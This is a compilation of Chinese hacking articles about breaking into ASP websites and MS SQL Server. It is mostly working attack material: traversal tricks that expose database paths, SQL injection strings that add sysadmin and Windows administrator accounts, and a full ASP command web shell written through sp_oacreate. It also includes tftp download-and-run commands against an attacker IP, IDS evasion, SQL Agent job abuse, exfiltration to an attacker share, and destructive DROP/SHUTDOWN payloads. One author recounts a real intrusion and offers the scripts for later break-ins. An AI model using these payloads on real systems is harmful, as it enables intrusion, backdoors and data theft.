    很显然，这个文件是用于编辑文章内容的时候用的，虽然没有什么别的权限，但是我们可以编辑更改HTML页面。点击"原代码"找到这样一段内容:
<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0>

    这是该页面进行身份验证的时候，将内容传递给Admin_ChkLogin.asp这个文件的内容，下面我们要做的就是把它改成conn.asp文件了:
<FORM name=Login onsubmit="return
        CheckForm();" action=http://www.target.com/inc/conn.asp method=post
        target=_parent>
<TABLE cellSpacing=0 cellPadding=0 width=585
        align=center border=0>

    改好后，点"预览"，看到什么了?看到了吧!数据库路径出来了(图二)!

图二
    这是什么原因呢，让我们看看这个：
'D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。

    目录结构我开始已经说了主目录下存在INC目录(用于存放conn.asp)和DATABASE目录(数据库文件，即adsfkldfogowerjnokfdslwejhdfsjhk.mdb)，那既然DATABASE目录并不在INC目录下，刚才暴露数据库的时候却显示\inc\database\呢。这就是编写人员的一大疏忽。由于INC和DATABASE属于同级目录，当我们用editor.asp连接访问conn.asp的时候，由于DATABASE并没有在INC目录下，而系统确认为你是在请求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb这个文件，而实际上没有这个文件，系统找不到这个文件自然就报错拉。要解决这个问题，最直接的方法就是和动网那样使conn.asp处于数据库文件的上级目录或同一个目录中。
动网论坛
    根据上面动力文章系统的分析我们可以得到存在数据库路径泄露这个问题的程序的标志：
1 conn.asp和调用它的文件（如INDEX.ASP）不在同一目录。
2 conn.asp连接数据库用的是相对路径。
    知道了漏洞的原理，再来理解动网得到数据库的方法也就不难了。前一段时间臭要饭的发现了动网论坛的一个大漏洞，可以转移任何文件。如果单纯利用这个漏洞，至多可以把别人论坛文件删除，却得不到任何权限。那天我和紫幻讨论这个问题的时候，突然想到了一个方法，只要我们将这个漏洞结合我们动力文章得到数据库的方法，我们很容易的就可以想到得到动网论坛数据库的方法。下面和我一起来看看动网我们该怎么做吧。
    动网的漏洞出在mymodify.asp这个文件上，它在对用户自定义头像的部分处理的过于草率，我们可以利用/.\来跳转目录并移动文件，看下面代码：
'******************
'对上传头象进行过滤与改名
if
        Cint(Forum_Setting(7))=1 then
on error resume next
dim objFSO,upfilename,newfilename
dim upface,memberid
set
        rs=conn.execute("select userid,face from [user] where
        userid="&userid)
memberid=rs(0)
upface=trim(rs(1))
newfilename=""
upfilename=split(upface,"/")
if
        ubound(upfilename)=1 and upfilename(0)="uploadFace"  then
if  instr(upfilename(1),"_")=0 then
newfilename="uploadFace/"&memberid&"_"&upfilename(1)
        /用户定义的头像变为uploadFace/用户ID
Set objFSO =
        Server.CreateObject("Scripting.FileSystemObject")
if
        objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile
        ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
end if
If Err.Number = 0 Then
conn.execute("update [user]
        set face='"&newfilename&"' where userid="&userid)
end if
set objFSO=nothing
end if
end if
rs.close
set
        rs=nothing
end if
'对上传头象进行过滤与改名结束
'****************

    看看这句：
newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用户定义的头像变为uploadFace/用户ID_upfilename的另一部分
再看：
if objFSO.fileExists(Server.MapPath(upface)) then
objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""
/看见没有？最关键的部分来了，如果检测到upface代表的文件存在，则对改文件进行移动并改名！
    好了，代码分析完毕，看看我们到底应该怎么样利用它吧。注册一个用户，进入基本资料修改的页面后，关键部分就要来了。大家还记得在玩showfiles类文件的时候跳转目录来查看资料吗？类似下面的的URL，我们就利用../来跳转目录对passwd文件进行查看。提交：
http：//www.target.com/show.php?file=../../../../../etc/passwd%00

    相信大家都在那里把/、\、.和..的作用了解了吧。呵呵，下面我们要做的就是跳转目录把conn.asp转移过来。在自定义头像地址那里添上这样的一句：
uploadFace/.\..\conn.asp （注意大小写）

    前面已经分析过代码了，这句话的意思应该看的懂了吧，我们把“头像”地址指向了上级目录的conn.asp。由于符合它的判断条件upface存在，所以它就会把conn.asp这个文件转移到uploadFace这个目录来，这样就符合我们玩动力文章系统的时候的第一个条件了。一般大家用的都是相对路径，所以下面我们只要调用这个文件就会知道数据库路径。新建一个HTML文件写上如下内容：
<IFRAME marginWidth=0 marginHeight=0 src="http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400></IFRAME>

    再打开这个HTML文件，看看，数据库路径出来了吧！(如图三)

图三
安全篇
    看来问题都出在conn.asp本身，不打自招。为了安全我们得好好处理一下它。
    最笨的方法就是把它改名了，让别人猜不到路径。但是它要被很多文件调用，还得改其它地方。
    我们用相对路径的时候，数据库路径会随着调用conn.asp的文件而改变，从而产生了错误。那么我们就让连接数据库使用绝对路径，这样一来不管谁调用conn.asp数据库路径都不变了。
    我在测试动网这个漏洞的时候，发现对一些比较新的版本，就是文件挪移成功了也暴不出数据库路径。但是有的6.0版本有效。看来新的版本动网论坛对conn.asp进行了特殊的处理。对比了一下两个不同的conn.asp，发现新的conn.asp里加了这么一句：
On Error Resume Next

    这样一来，就是出错了不提示数据库信息，打死了也不招！当然以上的那些方法结合起来使用就更好了！


对1433端口SA权限的再突破

文章作者：王亮
黑客X档案青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后，而服务器去掉了SA的xp_cmdshell权限的情况下，如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名，这一点青野志狼也谈到了，但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。
    先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下：
    [开放端口]21/80/1433/3389
[sql弱口令]sa(aaa)
[CGI漏洞]
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述]
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述]
/_vti_bin/shtml.dll [漏洞描述]
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述]
/_vti_bin/shtml.exe [漏洞描述]
    除了这几个漏洞，x-scan2.3再没有扫出别的了，好在有sql弱口令。用sql连接器连上看看吧，可大失所望。dir命令不能执行，好像是服务器去掉了SA的xp_cmdshell权限。
我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'，但是显示错误。
看样子是xplog70.dll被改名了。抱着试试看看的态度，再用sql连接器连上，执行dir命令，依然依显示图1的情况。
    这种情况下怎么办呢？既然有了sql弱口令，而且sql的查循分析器也可以连接上，当然也可以用它来写一些文本程序在服务器上。再打开查循分析器，在弹出的文本框里写入以下sql脚本命令：
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
---给菜鸟加个简单注释，这两行代码是建立sql的文本对象
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
－－在启动菜单里写入a.vbs，当然这里只支持中文
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
--单引号里的都是a.vbs的内容，要一行一行的写，下同。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'
－－a.vbs内容结束
执行查循后，这样就会在服务器的启动程序里写入一个a.vbs脚本。
只要服务器重启，就可以加入一个用户名是lcx，密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了，可是等到花儿也谢了，这个用户也没加成功，我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启，还是服务器不是中文系统(因为这个sql脚本只支持中文)，还是被管理员发现了，总之就是没加成功。在这之后，我就陷入了深思。于是回头看x-scan的漏洞扫描报告，上安全焦点查了一些扫到的漏洞资料，还是一无所获，扫到的漏洞都没有太大的利用价值。思考中，突然灵光一闪，_vti_bin是一个虚拟目录，在IIS上默认的物理路径是C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\，我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对，执行_vti_bin/">http://ip/_vti_bin/，返回403错误码。
证明服务器这个虚拟目录是存在的。好了，我开始写sql脚本，一行一行写得好累呀，做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了)：
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
－－给菜鸟加个简单注释：还是建立sql程序的文本对像
exec sp_oamethod @o, 'createtextfile', @f out,
'C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\40\\isapi\\lcx.asp', 1
--在这个目录写入一个lcx.asp文件，没有就生成，你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% if Request("password")=1234 then'
－－单引号里都是lcx.asp代码内容，要一行一行的写呀，我写的是一个改装的cmd.asp，下同。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'session("password")="lcx"'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'response.redirect Request.ServerVariables("URL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'elseif session("password")="" then %>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%else%>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<HTML>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=text name=".CMD" size=45 value="<%= szCMD %>">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=submit value="执行" class=input>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</FORM> <pre>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScript = Server.CreateObject("WSCRIPT.SHELL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szCMD = Request.Form(".CMD")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (szCMD <> "") Then '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szTempFile = "C:\" & oFileSys.GetTempName( ) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' End If '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (IsObject(oFile)) Then'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Response.Write Server.HTMLEncode(oFile.ReadAll) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' oFile.Close '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' Call oFileSys.DeleteFile(szTempFile, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'End If %> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</BODY> </HTML> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%end if %> '
－－好累，代码终于写完了
然后我将这段脚本放在查循分析器里执行，运气不错，服务器的iis是默认安装的，显示命令成功完成。
迫不及待的来看看运行结果吧。
哈，成功了。忘记告诉你，刚才运行的这段sql脚本，会在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\这个物理目录下，也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件，是一个改装的cmd.asp了，密码是1234。输入密码1234后，再来看看，得到一个cmd的网页shell了。

虽然权限不是很大，但是查看服务器敏感信息，黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:\Program Files\Microsoft SQL Server\MSSQL\Binn这个目录里发现了一个可疑的xplog701.dll文件，和原来的文件大小比较，果然是一个改名的xplog70.dll。也许有的人要说，你可以再将名字改回来呀。我也试过，虽然改过名，也需要重启mssql服务，这个xplog70.dll才可以加载。看样子我的运气到了尽头，在这台机器上再没有得到太多渗透入侵结果了。

    后来我在本机做过测试，我是w2k+sp3+iis5.0+fat32系统，在默认安装情况下，一些默认的虚拟目录用sql 查循分析器大都是可写的，而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外，还有像http://ip/printers对应的是C:\WINNT\web\printers，http://ip/对应的是c:\inetpub\wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。

    最后，我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便，放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有)，如果你今后也遇到同样情况，省去你手工输入的麻烦了，但我可不鼓励你入侵呀。:-)


桂林老兵的SQLSERVER高级注入技巧

信息来源：HackBook
现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友：
前言：
即是高级技巧，其它基本的注入方法就不详述了。
看不懂可查本站的注入基础文章。
为了更好的用好注入，建议大家看看本站的SQL语法相关文章
[获取全部数据库名]
select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
select top 1 name from 数据库名.dbo.sysobjects where xtype='u' and status>0 and name not in('table')
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
select top 1 数据库名.dbo.col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码，则用这句（将test的密码改为123456）
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将系统用户test提升为管理员
这样，你在他的数据库和系统内都留下了test管理员账号了

下面是如何从你的服器下载文件file.exe后运行它[前提是你必须将你的电脑设为TFTP服务器，将69端口打开]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--
然后运行这个文件：
id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下载服务器的文件file2.doc到本地TFTP服务器[文件必须存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

新加的：
建一个表。只有一个字段，类型为image,将asp内容写入。导出数据库为文件
backup database dbname to disk='d:\web\db.asp';
报错得到系统操作系统和数据库系统版本号
id=2 and 1<>(select @@VERSION);


SQL Server SA权限总结
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
最近需要用到这些东西的时候，发现自己有点记不清了，这真是人老了做什么都不行了。没办法，只好在自己的blog上总结一下吧。使用Sqlexec加管理员的过程这里冰血就不涉及了。
前提需要工具：SQL Query Analyzer和SqlExec Sunx Version
第一部分：
有关去掉xp_cmdshell来保护系统的分析总结：
首先知道一下语句：
1.去掉xp_cmdshell扩展过程的方法是使用如下语句：

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

2.添加xp_cmdshell扩展过程的方法是使用如下语句：

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

现在看看现象：
我们在取得SA权限后远程用Sqlexec执行cmd命令，出现提示SQL_ERROR，那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法：
方法一、使用SQL Query Analyzer连接对方后直接写入，挺方便

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

方法二、使用SqlExec Sunx Version
首先在SqlExec Sunx Version的Format选项里填上%s，在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
或者对Sql2000情况下使用

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

另外使用SqlExec Sunx Version来去除xp_cmdshell的方法
和加的时候选择条件一样，然后输入

sp_dropextendedproc 'xp_cmdshell'
就可以了
第二部分：
假如对方已经把xplog70.dll删除或者改了名，我们来用下面的方法继续我们的hack任务：
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
提示
数据库中已存在名为'xp_cmdshell'的对象
那么我们如何恢复呢？
其实按照高手lcx提供的方法，我们可以通过使用查询分析器中写脚本来实现。
具体脚本源代码请点击连接获得。
灌水广告：
——文章原创由 中国暗域网络 及 邪恶八进制 冰血封情<EvilOctal>
——Be powered by Hackway Power of Cn & EvilOctal Security Group EvilOctal
——欢迎访问 http://www.hackway.net/ & http://www.eviloctal.com/


[转载]How to execute system command in MSSQL

信息来源：情感联盟
EvilOctal注释：题目的中文意思是 如何在MSSQL中执行系统命令
注:很有用的老文章,作收集用
假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'
人人都知道的办法,最大的好处是有回显,但是最怕

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO

通过上面的T-SQL语句就可以把这个扩展储存删了

我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

就还原了.

但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

DROP PROCEDURE sp_addextendedproc
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO

还原:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了

2)
看了上面的你就明白了xp_cmdshell最终是可以被删除的，没别的办法了吗?
有写注册表三:
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run', 'czy82','REG_SZ', net user czy bb /add

其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行，实不实用我也不知道了

3)
declare @s int
exec sp_oacreate "wscript.shell",@s out
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod，在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果，真的不能吗看下面的:

declare @s int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str

先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的
------------------------------------------
写到这儿该作个总结了上面三个办法可能大家都知道吧
下面的可能知道的人就少了
------------------------------------------

4)
use msdb; --这儿不要是master哟
exec sp_add_job @job_name='czy82';
exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:\>c:\b.txt';
exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';
exec sp_start_job @job_name='czy82';

利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql，后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
net start SQLSERVERAGENT

对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '你的SQL的服务器名'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

不要怀疑上面的代码，我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968

USE msdb
EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'
EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

如果subsystem选的是:tsql，在生成的文件的头部有如下内容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
----------------------------------------------
hello, this file was created by the SQL Agent.

(1 ?????)

所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的vbs文件到启动目录!

6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ > "\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

这两个东东都还在测试试哟
让MSSQL的public用户得到一个本机的web shell:)

sp_makewebtask @outputfile='d:\sms\a.asp',@charset=gb2312,
--@query='select ''<img src=vbscript:msgbox(now())>'''
--@query='select ''<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>'' '
@query='select ''
<%On Error Resume Next
Set oscript = Server.CreateObject("wscript.SHELL")
Set oscriptNet = Server.CreateObject("wscript.NETWORK")
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <>"")Then
szTempFile = "C:\" & oFileSys.GetTempName()
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML> '''


[转载]EST原内部资料 SQL Injection资料隐码

文章作者：胡百敬 老师
信息来源：原EST内部资料 最近终于在网络陆续出现了 今天在Hackbase看见了 所以还是公布吧
原文章精美PPT下载：
http://www.eviloctal.com/weblog/blog.php?job=art&articleid=a_20041031_023901
十分感谢台湾恒逸信息教育训练处系统开发部资深讲师 胡百敬...十分感激...同时感谢 ESG TW
By 胡百敬 老师
SQL Injection (資料隱码) -駭客的 SQL填空遊戲
大綱
何謂 SQL Injection
程序漏洞
剪接 SQL 語法
利用錯誤訊息
破壞性的工作
使用進階的延伸預存程序
使用 SQL Server 所附的工具程序
防範 SQL Injection 與系統安全設定
何謂 SQL Injection
程序寫作的漏洞，利用修該過的 SQL 語法遂行駭客的目的。
並非病毒
防火牆檔不住
任何平台都可能發生
程序漏洞
網頁程序码的漏洞
strSQL="SELECT * FROM tblUser WHERE UserName='" & _
Request("UserName") & "' AND Password='" & _
Request("Pass") & "'"
'直接交給 SQL Server 执行，這是最危險的地方
Set rec=cnn.Execute(strSQL)
If NOT rec.EOF Then
…

Demo:簡單介紹資料庫架構與 ASP 網頁
剪接 SQL 語法
利用已知的帐号，但不用密码直接登入
猜測、 監看或用熟知的帐号規則，如員工代號，身分證號码Ex: Admin’--交由 SQL Server 执行的語法變成
SELECT * FROM tblUser
WHERE UserName='admin'--' AND Password='asdf'
Demo:利用已知的帐号登入
剪接 SQL 語法
利用未知的帐号登入
Ex:'or 1=1--交由 SQL Server 执行的語法變成
SELECT * FROM tblUser
WHERE UserName='' or 1=1--' AND Password='asdf'
Demo:利用未知的帐号登入
利用錯誤訊息
故意製造 SQL 語法的錯誤，利用錯誤訊息獲取查詢語法與資料表的架構
藉由 GROUP BY 和 HAVING 子句傳回的錯誤訊息Ex:' HAVING 1=1--
SELECT * FROM tblUser WHERE UserName='' HAVING 1=1--' AND Password='asdf'
Demo:利用錯誤訊息取得查詢語法
利用錯誤訊息
利用錯誤訊息取得資料表內各欄位的資料型態Ex:'UNION SELECT 'abc',1,1,1 FROM tblUser --
SELECT * FROM tblUser WHERE UserName=''UNION SELECT 'abc',1,1,1 FROM tblUser --' AND Password='asdf'
Demo:利用錯誤訊息取得欄位結構
利用錯誤訊息
利用錯誤訊息獲取會員的帐号和密码Ex:'UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--'UNION SELECT Password,1,1,1 FROM tblUser WHERE UserName='admin'--
SELECT * FROM tblUser WHERE UserName=''UNION SELECT UserName,1,1,1 FROM tblUser WHERE UserName>'a'--' AND Password='asdf'
Demo:利用錯誤訊息取得帐号密码
利用錯誤訊息
取得全部的帐号密码Ex:';DECLARE @str VARCHAR(8000) SET @str='@' SELECT @str=@str+' '+UserName+'/'+Password FROM tblUser WHERE UserName>@str SELECT @str AS IDPass INTO tblHacker-- ' UNION SELECT IDPass,1,1,1 FROM tblHacker--
Demo:利用錯誤訊息取得全部帐号密码
破壞性的工作
利用 SQL 語法做一些破壞性工作
停止执行 SQL Server：' ;SHUTDOWN--
刪除資料庫：' ;DROP Database <資料庫名稱>--
刪除資料表： ' ;DROP Table <資料表名稱>--
刪除資料：' ;Truncate Table <資料表名稱>--
刪除資料： ' ;DELETE FROM <資料表名稱>--
Demo:做一些破壞性的工作
使用進階的延伸預存程序
XP_CMDSHELL：以 SQL Server 的系統帐号來执行系統上其他的應用程序
Ex:加入一個系統帐号到 SQL Server
' ; EXEC MASTER..XP_CMDSHELL 'net user Hacker /add' EXEC MASTER..SP_GRANTLOGIN 'BYRON-XP\Hacker' EXEC MASTER..SP_ADDSRVROLEMEMBER 'BYRON-XP\Hacker','sysadmin'--
Demo:利用 XP_CMDSHELL 加帐号
使用進階的延伸預存程序
與註冊資料庫相關的延伸預存程序
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'
